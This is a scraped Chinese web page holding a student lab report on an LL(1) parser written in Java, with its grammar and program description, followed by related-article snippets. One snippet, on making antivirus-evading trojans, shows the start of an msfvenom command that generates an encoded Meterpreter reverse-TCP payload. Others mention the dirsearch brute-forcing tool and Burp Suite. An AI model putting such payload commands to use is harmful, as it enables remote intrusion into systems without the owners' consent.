java实验文法报告_西安邮电大学编译原理LL文法分析器实验(java).doc

西安邮电大学编译原理LL文法分析器实验(java)

《编译原理》实验报告

题目: 语法分析器的制作

学生姓名:

班 级: 软件1202

学 号:

指导教师:

成 绩:

西安邮电大学计算机学院

2015 年 6 月 7 日

一:实验目的

熟悉语法分析的过程;

理解相关文法的步骤;

熟悉First集和Follow集生成

二:实验要求

对于给定的文法,试编写调试一个语法分析程序:

要求和提示:

可选择一种你感兴趣的语法分析方法(LL(1) 、算符优先、递归下降、SLR(1)等)作为编制语法分析程序的依据。

对于所选定的分析方法,如有需要,应选择一种合适的数据结构,以构造所给文法的机内表示。

能进行分析过程模拟。如输入一个句子,能输出与句子对应的语法树,能对语法树生成过程进行模拟;能够输出分析过程每一步符号栈的变化情况。

设计一个由给定文法生成First集和Follow集并进行简化的算法动态模拟。

三:实验过程

1:文法:

E->TE’

E’->+TE’|ε

T->FT’

T’->*FT’|ε

F->(E)|i:

2程序描述(LL(1)文法)

本程序是基于已构建好的某一个语法的预测分析表来对用户的输入字符串进行分析,判断输入的字符串是否属于该文法的句子。

基本实现思想:接收用户输入的字符串(字符串以“#”表示结束)后,对用做分析栈的一维数组和存放分析表的二维数组进行初始化。然后取出分析栈的栈顶字符,判断是否为终结符,若为终结符则判断是否为“#”且与当前输入符号一样,若是则语法分析结束,输入的字符串为文法的一个句子,否则出错若不为“#”且与当前输入符号一样则将栈顶符号出栈,当前输入符号从输入字符串中除去,进入下一个字符的分析。若不为“#”且不与当前输入符号一样,则出错。

3:流程图

4:该文法的预测分析表为:

四:实验结果

1、显示预测分析表,提示用户输入字符串

2、输入的字符串为正确的句子:

3、输入的字符串中包含了不属于终结符集的字符

4、输入的字符串不是该文法能推导出来的句子

五:实验心得

通过本次实验基本掌握了语法分析的原理和LL(1)语法分析方法,以及预测分析表的构造;进一步熟悉了语法分析的详细过程。通过编写程序进一步复习巩固了java语言和数据结构的相关知识,尤其是加深了对栈相关知识的印象;在编程过程中遇到了很多基础性问题,通过不断的查阅课本,最终解决了问题,但程序仍然存在很多值得改进和完善的地方,这就提醒我们在以后的学习过程当中应该及时复习巩固以前学过的相关知识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

PHP 数据库 ODBC

PHP 数据库 ODBC ODBC 是一种应用程序编程接口(Application Programming Interface,API),使我们有能力连接到某个数据源(比如一个 MS Access 数据库)。 创建 ODBC 连接 通过一个 ODBC 连接,您可…

bash简介

目录 Shell 的含义 Shell 的种类 命令行环境 终端模拟器 命令行提示符 进入和退出方法 Shell 和 Bash 的历史 <

功能项目拼图将Java 9引入

因此&#xff0c;拼图项目...我们已经对此颇为了解&#xff0c;但尚未看到计划如何兑现其承诺的细节。 这篇文章将精确地做到这一点&#xff0c;并介绍项目的核心概念和功能。 系列 这篇文章是正在进行的有关拼图项目系列的一部分。 按照推荐的顺序&#xff08;不同于发布顺序…

2021Kali -- 木马免杀制作

​知道为什么梦里的人都看不清脸么&#xff1f;因为怕你当真。。。 ---- 网易云热评 一、通过MSF生成shellcode 1、启动MSF&#xff0c;演示版本是6.0.36 2、通过msfvenom生成相关代码 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b \x00 l…

Bash脚本教程之基本语法

目录 echo 命令 -n参数 -e参数 命令格式 空格 分号 命令的组合符&&和|| type 命令 快捷键

qq音乐mp3解析php源码,QQ音乐API

QQ音乐API搜索歌曲API&#xff1a;&aggr1&cr1&loginUin{3}&formatjson&inCharsetGB2312&outCharsetutf-8&notice0&platformjqminiframe.json&needNewCode0&p{1}&catZhida0&remoteplacesizer.newclient.next_song&w{0}{0}需…

OpenCV与YOLO学习与研究指南

引言 OpenCV是一个开源的计算机视觉和机器学习软件库&#xff0c;而YOLO&#xff08;You Only Look Once&#xff09;是一个流行的实时对象检测系统。对于大学生和初学者而言&#xff0c;掌握这两项技术将大大提升他们在图像处理和机器视觉领域的能力。 基础知识储备 在深入…

2015年 六·一 儿童节——我

现是2015年的六一儿童节。按说儿童节对于一个己20岁的成年女生来讲已毫无渊渊&#xff0c;于是乎&#xff0c;我花费了将近半个下午的时间来解析自己&#xff1a;是否真的已经成人&#xff1f; 首先在外形上&#xff0c;毋庸置疑&#xff0c;已长成了大人的样子。158cm身高&…

目录爆破工具 -- dirsearch

我记得&#xff0c;以前总会和你聊的很晚很晚&#xff0c;现在我们不再说话了&#xff0c;我还是会熬夜&#xff0c;但我想&#xff0c;不如从今天开始早点睡吧。。。 一、环境&#xff1a;Kali2020.01、Python3.0 二、安装过程&#xff1a; 1、复制dirsearch到本地安装包 gi…

网页 php pdf文件怎么打开是乱码,打开php文件乱码的解决方法

打开php文件乱码的解决方法发布时间&#xff1a;2021-02-14 11:45:35来源&#xff1a;亿速云阅读&#xff1a;94作者&#xff1a;小新小编给大家分享一下打开php文件乱码的解决方法&#xff0c;相信大部分人都还不怎么了解&#xff0c;因此分享这篇文章给大家参考一下&#xff…

Bash教程之模式扩展

目录 简介 波浪线扩展 ? 字符扩展 * 字符扩展 方括号扩展 [start-end] 扩展 大括号扩展 {start..end} 扩展

java coin介绍_代码示例中的Java 7:Project Coin

java coin介绍该博客通过代码示例介绍了一些新的Java 7功能&#xff0c;这些项目在Project Coin一词下进行了概述。 Project Coin的目标是向JDK 7添加一组小的语言更改。这些更改确实简化了Java语言语法。 更少的打字&#xff0c;更简洁的代码&#xff0c;愉悦的开发人员&#…

如何设置浏览器禁止使用UC浏览器

通过UA可以判断浏览器是否是UC浏览器 if(navigator.userAgent.indexOf(UCBrowser)>-1) { alert("当前浏览器不支持本站&#xff0c;建议更换为QQ浏览器"); } 转载于:https://www.cnblogs.com/mqingqing123/p/4555188.html

Bash脚本教程之引号和转义

目录 转义 单引号 双引号 Here 文档 Here 字符串 转义 某些字符在 Bash 里面有特殊含义(比如$、&、*)。 $ echo $date$ 上面例子中,输出$date不会有任何结果,因为$是一个特殊字符。 如果想要原样输出这些特殊字符,就必须在它们前面加上反斜杠,使其变成普通字…

php分页教程,php 如何分页 教程

php 如何分页 教程这是一篇初级入门的教程了,我们这个与asp分页有一点的区别了,下面我们就来讲讲最简单的php分页代码吧,我们首先要有一个数据库.假如有我们有了一个数数据库里面有一张表a下面就是我们要讲到的分页代码了.$page $_GET[page]//这里是用来获取当前的页面,下面我…

在Java中实现过滤器和面包店锁

为了了解锁的工作方式&#xff0c;实现自定义锁是一个好方法。 这篇文章将展示如何在Java上实现Filter和Bakery锁&#xff08;自旋锁&#xff09;&#xff0c;并将它们的性能与Java的ReentrantLock进行比较。 过滤器锁和面包房锁满足互斥并且也是无饥饿算法&#xff0c;面包房锁…

Burpsuite工具的证书安装

Burpsuite工具的证书安装 Bursuite作为一款可以用来挖掘各种各样的WEB安全漏洞工具&#xff0c;在web安全渗透方面经常会使用到&#xff0c;可以用Bursuite进行对数据的抓包&#xff0c;其不安装证书时只能抓取http的包&#xff0c;安装证书就可以抓取https包&#xff0c;并分析…

Bash脚本教程之变量

目录 简介 创建变量 读取变量 删除变量 输出变量,export 命令 特殊变量 变量的默认值 declare 命令

【下班后学Android】Android开发环境搭建

Android开发环境搭建方法&#xff1a; 方法一&#xff1a;百度搜索“Android开发环境搭建”&#xff1a;http://jingyan.baidu.com/article/bea41d437a41b6b4c51be6c1.html。 博主在土耳其出差期间&#xff0c;按照该步骤安装&#xff0c;完全OK。但是&#xff0c;回国后&#…

物资申请php,php学生捐赠物品管理系统

捐赠物品管理系统采用php编程语言开发,mysql作为后台数据库支持,运行在wamp,appserv等集成环境上.为了方便学生捐赠物品&#xff0c;让更多的贫困人民得到更多的帮助&#xff0c;开发一套校园物品捐赠系统是十分必要的。而且可以培养学生的社会责任感&#xff0c;让他们更加富有…